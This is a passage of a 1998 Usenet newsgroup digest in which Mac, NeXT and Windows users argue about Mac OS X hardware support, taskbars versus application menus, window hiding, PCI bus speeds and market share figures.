References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0> <6pl3ke$1vj$1@plo.sierra.com>
Message-ID: <35be3b66.0@news.depaul.edu>
Date: 28 Jul 98 20:58:14 GMT
In comp.sys.next.advocacy Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
> Joe Ragosta wrote in message ...
> >
> >Just as Microsoft and Intel will be obsoleting old machines months after
> >they ship.
> Name one product.
Hm. Are WinCE devices upgradable?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Tue, 28 Jul 1998 14:49:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807981449100001@wil73.dol.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0> <6pl3ke$1vj$1@plo.sierra.com>
In article <6pl3ke$1vj$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Joe Ragosta wrote in message ...
> >
> >Just as Microsoft and Intel will be obsoleting old machines months after
> >they ship.
>
> Name one product.
Well, anything based on ISA for starters.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 13:06:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807981306530001@wil53.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <35BDF088.8AE8204@earthlink.net>
In article <35BDF088.8AE8204@earthlink.net>, jontemple@earthlink.net wrote:
> quinlan@my-dejanews.com wrote:
>
> > In article <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>,
> > jason@jhste1.dyn.ml.org (Jason S.) wrote:
> >
> > > m68k->SPARC (Sun). AFAIK, Solaris never supported m68k.
> >
> > But didn't Solaris come out well after the introduction of the SPARC based
> > Suns? And, IMHO, SunOS to Solaris was a much smaller jump than MacOS 9 to
> > MacOS X will be.
>
> Actually, the jump in question is not from 8.x or 9.x to Mac OS X, but from
> Rhapsody or Mac OS Server to Mac OS X. PCI Macs are presently supported by
> Rhapsody, and the jump to the unsupported Mac OS X will be pretty pitifully
> small as jumps go.
Pitifully small??
New kernel
New graphics system
New driver model
New set of Carbon APIs
Nope, nothing new there.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 16:03:34 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2807981603340001@castle.webis.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <alex-2707982019480001@castle.webis.net> <6pl1v9$1d5$1@plo.sierra.com>
NNTP-Posting-Date: 28 Jul 1998 21:03:35 GMT
In article <6pl1v9$1d5$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
: Alex Kac wrote in message ...
: >I disagree. One of the things I hate about Windows is that under the SDI
: >approach (Mac like), when you clost the last window, the program quits. I
: >hate this. I like to have Netscape running without windows for hours at a
: >time. The problem I have is that under Windows, if I'm working on a lot of
: >projects, the Netscape window provides clutter. I don't want to minimize
: >it since it still takes up a good portion of space on the task bar. So I
: >close the window. But then when I do want to run it, I have to reload the
: >app. Even on our PII-300 here, it takes way too long to open.
:
: Then your problem is with Netscape, not with Windows. I can reload IE4 in
: under 1 second on my PII-300. I would much rather have free memory put to
: good use than waste it keeping apps open that aren't in use.
But I shouldn't have to load the app again. And yes, MIE does load faster.
BTW, if your Windows had true VM like a UNIX box does, then you WOULDN'T
be wasting memory. It would be paged out. Windows is the ultimate in bad
paradigms. Closing all windows closes the app since obviously its not
being used, right? To save memory right? Forces the user to deal with the
brain-dead core of Windows.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
Date: Tue, 28 Jul 1998 14:48:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807981448520001@wil73.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <35BE09D8.CE1B3A15@earthlink.net>
In article <35BE09D8.CE1B3A15@earthlink.net>, jontemple@earthlink.net wrote:
> R. Tang wrote:
>
> > In article <6p07rq$gn5$1@nnrp1.dejanews.com>,
<quinlan@intergate.bc.ca> wrote:
> > >Then they shouldn't have said that they would do it. Their incompetance is
> > >hardly my problem. And I don't believe that Apple can't port Mac OS X
to all
> > >the PowerMacs.
> >
> > Neither does Apple.
> >
> > The part people keep forgetting to mention is under what time
> > frame using what kind of resources.
> >
> > Give 'em five years and another few hundred people, and there's
> > probably no question they could do all PCI Macs.
> >
> > But in two years?
> >
>
> Frankly, having followed the MkLinux and LinuxPPC projects, if it took
Apple over
> 2 months to support the already supported pre-G3 models with Mac OS X, it'd be
> rank incompetence.
Let's see. Mac OS X adds a new imaging model, a new kernel, new driver
model, and a complete new set of APIs. You think the new OS can be written
and tested in 2 months? You're dreaming.
Let's look at a comparison. Win98 took 3 years after Win95 and what does
it add? Very, very little compared to the changes incorporated in Mac OS
X.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 28 Jul 1998 16:34:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Message-ID: <joe.ragosta-2807981634130001@wil43.dol.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <Pine.SOL.3.96.980724162806.5179A-100000@ux8.cso.uiuc.edu> <Macghod-2407981949020001@sdn-ar-001casbarp206.dialsprint.net> <ericb-2807981537470001@128.84.203.149>
In article <ericb-2807981537470001@128.84.203.149>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <Macghod-2407981949020001@sdn-ar-001casbarp206.dialsprint.net>,
> Macghod@concentric.net (Steve Sullivan) wrote:
>
> > Well marketshare means worldwide, unless you clarify it to US. Whoever is
> > slinging those numbers should be ashamed of themselves. What is Apple's
> > worldwide marketshare? It sure as hell isnt %9.4. And that link that
> > said it rose from 4.1 to 9.4, excuse me, but I am preety sure the
> > worldwide marketshare climbed up to 4.1, I doubt the us marketshare has
> > more than doubled.
> >
> > Whoever wrote the article is dumb assed idiot, IMO.
>
> MacCentral, quoting the same source, reported that Apple's share of the
> *retail* market had risen to 9.4% from 9.0% in June. IMO whoever wrote
> the MacOS Rumors blurb had his wires crossed.
Especially when I e-mailed him pointing out his error and he still didn't
get it right. It was after I sent an e-mail that he added the caveat
about market share vs. installed base--which had nothing at all to do with
the issue.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 28 Jul 1998 20:58:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ple2d$ea2@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.co <35bd8fbd.0@nnrp1.news.uk.psi.net>
Originator: gupta@tlctest
Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote:
>Let's see Joe - Michael points out that the lack of PMT on the Mac forces you
>to work one way rather than another (that might be more efficient), and you
>suggest he use the workaround of starting his Mac 20 minutes earlier?
>
>Have you no concern for the environment? Think of that all that extra
>electricity consumption will do for global warming :-)
Most UNIX boxes are on all the time. :-)
BTW, a colleague just unpacked a new HP Kayak.
This is a Pentium II 266 MHz tower The booklet says,
average power consumption (not doing a file transfer) :
Windows 95 : 32 W
Windows NT : 45 W
Was wondering why the difference ? Perhaps NT is swapping all the time :-)
-arun gupta
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 16:06:17 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2807981606170001@castle.webis.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <alex-2707982019480001@castle.webis.net> <Pine.SOL.3.96.980728151624.21913F-100000@ux8.cso.uiuc.edu>
NNTP-Posting-Date: 28 Jul 1998 21:06:16 GMT
In article <Pine.SOL.3.96.980728151624.21913F-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
: On Mon, 27 Jul 1998, Alex Kac wrote:
:
: > In article <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>,
: > Pulsar <tokarek@uiuc.edu> wrote:
: >
: <snip>
: > : It does to solve the problem since it provides the user a clear indication
: > : of what is running. If you close all Netscape Windows, the program is no
: > : longer running in Windows whereas if you close all the Netscape windows on
: > : the Mac OS, the program is _still_ running. There is also an obvious
: > : indication that a program is still running since it gets a button on the
: > : task bar. You have to manually check the application menu on the Mac OS to
: > : see what's running.
: > :
: > : The taskbar is not perfect, but it does a better job than the Mac OS
: > : Application Menu.
: >
: > I disagree. One of the things I hate about Windows is that under the SDI
: > approach (Mac like), when you clost the last window, the program quits. I
: > hate this. I like to have Netscape running without windows for hours at a
: > time. The problem I have is that under Windows, if I'm working on a lot of
: > projects, the Netscape window provides clutter. I don't want to minimize
: > it since it still takes up a good portion of space on the task bar. So I
: > close the window. But then when I do want to run it, I have to reload the
: > app. Even on our PII-300 here, it takes way too long to open.
:
: That is a Windows problem. That is not a taskbar problem (not exactly).
The thread is about the taskbar and how Windows uses windows.
: > On my Mac, I just hide it or close the window and I'm fine. I have GoMac
: > (and love it), but I can minimze NetScape's task bar slot to almost
: > nothing.
:
: GoMac may be just the kind of thing I'm talking about. I've never used it
: or even really seen it.
I've been using GoMac forever. Its great. The Taskbar DONE RIGHT. First of
all, it lists apps in the taskbar, not windows. Second of all you can quit
apps, hide them , and even dock them as tiny icons on the right. Under 8.5
is perfect. You get the task list at the bottom of the screen, and the
current running app's name at the top (where the OS's task menu lives).
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ever
Date: Tue, 28 Jul 1998 20:59:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ple3c$ub3$1@nnrp1.dejanews.com>
References: <6pj8p5$4c7$1@nnrp1.dejanews.com> <5Edv1.8245$7k7.11060908@news.rdc1.sdca.home.com>
In article <5Edv1.8245$7k7.11060908@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> Mac menus drive me crazy picking but I can't find a "picking" interface in
> OS. How many apps are your running? You'll never overloaded an OPENSTEP UI.
> Running apps hide away clearing screen real estate. What's to pick in OS?
> Hidden apps are just there - click a .app tile and 'voila', all the windows
> pop-up again. Best solution I've seen.
I don't like the OS solution because I tend to run a lot of applications and
that makes for a lot of icons. Having a lot of icons makes it harder to pick
the one I want and also takes up screen space.
--
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 20:57:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pldvo$ua2$1@nnrp1.dejanews.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2807981015140001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> > > Closing all the windows of an application in Windows makes the application
> > > go away. The taskbar shows only the set of windows, and doesn't solve
> > > the problem.
> >
> > It does to solve the problem since it provides the user a clear indication
> > of what is running. If you close all Netscape Windows, the program is no
> > longer running in Windows whereas if you close all the Netscape windows on
> > the Mac OS, the program is _still_ running.
>
> But the taskbar is not what solves the problem! The problem is solved by
> the fact that, in Windows, Netscape quits when all of its active windows
> are closed. If the Mac version of Netscape did this, then the problem would
> be solved on the Mac side as well. It has nothing to do with the existence
> of a taskbar.
I missed the beginning of this, so I'm not sure exactly what "the problem"
is. I for one LIKE having an application stick around even if all its windows
are closed; it saves me having to relaunch them when I need them while
avoiding cluttering up the screen with windows I'm no longer working on.
Now, if this is the case, then we need the UI to give us access to THE APP
itself, and not just to a given WINDOW of that app. NeXTSTEP, for example,
has an app tile that's positioned on the desktop for every running app
(unless that app already has a tile in the dock). These tiles remain visible
even if the app is hidden. It then places an additional window tile on the
desktop for every miniaturized window. These tiles go away if the app is
hidden, and are revealed again when the app is unhidden. App tiles and window
tiles are easily distinguished visually because the former show the app icon
while the latter have a black band across the top, like all windows. They may
also show a thumbnail of the content of that window, or the app's document
icon. I find that this works very well. And it can be finetuned with the aid
of dock extenders. For example, the one I use collects up the app tiles (but
NOT the windows tiles) so that the app tiles are always in a predictable
location in the extended dock.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 21:04:17 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6plech$eb8@newsb.netnews.att.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu>
Originator: gupta@tlctest
Pulsar <tokarek@uiuc.edu> wrote:
>
>There are two things going on here. I'm trying to defend one and not the
>other.
>
>The taskbar is good (far from perfect, but at least better than the
>Application Menu).
One could argue also, that the taskbar eats up space. One could make
it invisible, but then it is not different from the Application Menu.
I agree that checking the Application Menu to see what is running doesn't
come naturally to people, especially those who first ran Windows 95.
-arun gupta
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 00:38:37 -0700
Message-ID: <see-below-2807980038370001@dynamic22.pm01.mv.best.com>
References: <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <joe.ragosta-2707981722550001@wil31.dol.net> <01bdb9f2$93529910$3643bacd@isdnjhendry>
In article <01bdb9f2$93529910$3643bacd@isdnjhendry>, "Jonathan Hendry"
<jhendry@cmg.fcnbd.com> wrote:
> The confusion here is between the CPU-to-memory bus speed, versus
> the PCI bus speed. PCI is spec'd to run at 33MHz, though some people
> overclock and
> run it a bit faster. The CPU-to-memory bus runs faster. Standard-issue PC's
> run at 66 Mhz or 100 Mhz, but overclockers run them at 75 Mhz, 83.3 Mhz,
> and
> at speeds over 100. 100 Mhz motherboards and a few of the later 66Mhz
> boards run
> the PCI bus asynchronously so that it runs at 33 Mhz regardless of the main
> bus speed.
> On the older motherboards, the PCI bus runs at 1/2 the main bus speed, so
> if you
> use a 75 Mhz bus, your PCI bus is running at 37.5 Mhz instead of 33, and
> you get
> a slight speed boost.
As I understand it, most PCI PowerMacs use 33MHz regardless of system bus
speed, though it's possible the G3s are synchronous.
> Hm. Question. Do the G3 Macs only have cache on the CPU module, or do they
> also have cache on the motherboard?
It's on the CPU module. Specifically, the cache is on a separate
"backside" bus that doesn't communicate with or synchronize with the main
memory-CPU bus at all. There is no (L3) cache on the motherboard (except
of course on earlier machines with a G3 upgrade card).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Robb" <REMOVErobbh@home.com>
Subject: Re: Window Shade: *please* make this go away
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu>
Message-ID: <01bdba6c$95df0fe0$4b620218@ci746489-a.nash1.tn.home.com>
Date: Tue, 28 Jul 1998 21:12:14 GMT
NNTP-Posting-Date: Tue, 28 Jul 1998 14:12:14 PDT
Organization: @Home Network
You may already be aware of a utility called GoMac, which places a fully
functional Win95 style taskbar w/ configurable start menu along the bottom
of the Mac desktop. It can also be set to auto-hide like it's WinTel
counter part. Only $20 I think, download the shareware version at...
http://www.proteron.com/
--
Robb
http://members.home.net/robbh
Please post any responses to this newsgroup. To email me, delete "REMOVE"
from the email address embedded in this posting...thank you.
<snip>
> After a reasonable review, I've concluded that Window Shade is the most
> ill-conceived GUI element for Apple to adopt in the last decade. I love
> the Mac, but I find it disturbing that this feature even *has*
supporters.
<snip>
> What other option do you have? Well, NeXTSTEP (and most X window
> managers) miniaturize windows to small icons in the bottom of the screen.
> These icons do not have an application tier. Windows does something
> similar, but puts them into a bar (actually, not a bad idea: geez, I
can't
> believe I'm saying something nice about the company that makes you press
> control-alt-delete in NT in order to *log*in*).
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 21:20:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6plfbk$nqj$1@lwnws01.ne.highway1.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com> <6pkvi0$ffe$1@lwnws01.ne.highway1.com> <35BE18C1.9174ADB0@exu.ericsson.se> <6plbdv$lom$2@lwnws01.ne.highway1.com> <35BE358B.E6A2F81F@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> John Kheit wrote:
> > No reason why the menus cant be made to flash in NEXTSTEP.
>
> Actually, with all that pretty shading, it would be a pretty
> impressive thing for a machine to flash those beautiful NeXT
> menus. Not only that, but would you also cause single buttons to
> flash? Buttons that flash repeatedly when you press them, we're
> just breaking more UI stuff as we go along.
I disagree. First, there's no real shading on the next menus. They are
plain gray cept for the bezel. As for breaking things. I disagree again.
There is something overt that makes it all consistent. The menus/buttons
that popup have an indicator. A little arrow. If it has an arrow, you can
expect a popup; if you select anything in the subhierchy of a popup you can
expect a blinky at the root level with the indicator. The lack of
indicators, IMO, makes the mac menu more inconsistent; at the top level there
is no indication that a menu will popup, yet when you get to sub levels,
there if you select an item, again, with no indicator, instead of more menus
poping up, it does nothing (till you release it for action instantiation).
> > Again, you know my feeling on why that is. As to your other
> > reasons and explanations, they are fine and dandy, I understand
> > your position. I just disagree. Which is fine too. I can't
> > say I feel catagorically *right* about this topic even to
> > myself, just my general gut feel is I like the button pallette
> > thing. As always YMMV.
>
> That's what I expected, of course. I'm just explaining for the
> umpteenth time in case there's somebody out in the yonder who
> for some odd reason hasn't yet become nauseous at the sound of
> MJP describing his UI tastes.
Yes, I sometimes do similiarly. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: WadeMasshardt@badger.alumni.wisc.edu (Wade Masshardt)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 16:17:54 -0500
Organization: Vorlon Empire
Message-ID: <WadeMasshardt-2807981617540001@192.168.0.2>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <35BCA708.7440433@intel.com>, Vareck Bostrom
<vareck.bostrom@intel.com> wrote:
>Can you continue to use TCP/IP on your LAN after you're connected via SLIP?
>
>- Vareck
>speaking only for myself
It is possible to do this. My home setup has ethernet between my Mac and
my Linux box and a modem hooked up to my Mac. I am able to use TCP/IP
over both the ethernet and the modem (which is using OT/PPP as a transport
layer.) The secret? Peter Sichel's IPNetRouter software, available at
<http://www.sustworks.com/>. It's good stuff. I've configured it so that
if either the Linux box or my Mac try to connect to an IP address outside
my local network, OT/PPP automatically dials out. Directions for this &
other stuff is on the website.
--
+--------------------------------------------------------------------+
| <mailto:WadeMasshardt@badger.alumni.wisc.edu> |
+--------------------------------------------------------------------+
| "Don't touch that please, your primitive intellect wouldn't |
| understand alloys and compositions and . . . things with . . . |
| molecular structures." |
| Ash, "Army of Darkness" |
+--------------------------------------------------------------------+
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 21:26:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6plfmb$nqj$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com>
Hmm, I seem to be missing posts, so I'm going to respond to this from snips
from Mike's repsonse. Mike got to most of the points before I could, so I'm
just going to make one other.
Michael Peck <Michael.Peck@ericsson.com> wrote:
> arlis@iquest.net wrote:
>
> > Do you really feel the minor misattribution Joe made (followed
> > by a swift and sincere apology), is on an equal plane with
> > being falsely accused of child molesting?
> > Do you really feel the damage done to your reputation is on an
> > equal plane with the damage inflicted on the Brown and Simpson
> > families by the heinous murder of their loved ones?
Of course they are not on the same level. That doesn't change the fact that
he made a misrepresentation. The examples I gave were offered to make the
principle clear. Yeash. If I give an extreme example it's to demonstrate
the general point. I give enough credit to readers here to apply that
principle to specific situations. I don't believe most people here are so
daft so that I have to make a complete spectrum of examples, hundreds of
them, from the most moderate, to the most extreme, in order to demonstrate a
principle. Most people get it just fine from the extremes.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: rbarris@netcom.com (Robert Barris)
Subject: Re: View from the trenches
Message-ID: <rbarrisEwtqq0.G9F@netcom.com>
Organization: Netcom
References: <6or4sj$83a$1@supernews.com> <6ph9u7$fp5$1@nnrp1.dejanews.co <35bd8fbd.0@nnrp1.news.uk.psi.net> <6ple2d$ea2@newsb.netnews.att.com>
Date: Tue, 28 Jul 1998 21:37:11 GMT
Sender: rbarris@netcom11.netcom.com
In article <6ple2d$ea2@newsb.netnews.att.com>,
<gupta@kcopsrm.tm.tta.moc-mirror after @> wrote:
>Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote:
>
>>Let's see Joe - Michael points out that the lack of PMT on the Mac forces you
>>to work one way rather than another (that might be more efficient), and you
>>suggest he use the workaround of starting his Mac 20 minutes earlier?
>>
>>Have you no concern for the environment? Think of that all that extra
>>electricity consumption will do for global warming :-)
>
>Most UNIX boxes are on all the time. :-)
>
>BTW, a colleague just unpacked a new HP Kayak.
>This is a Pentium II 266 MHz tower The booklet says,
>average power consumption (not doing a file transfer) :
> Windows 95 : 32 W
> Windows NT : 45 W
>
>Was wondering why the difference ? Perhaps NT is swapping all the time :-)
No, NT does not yet have power management in laptops.
Rob
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
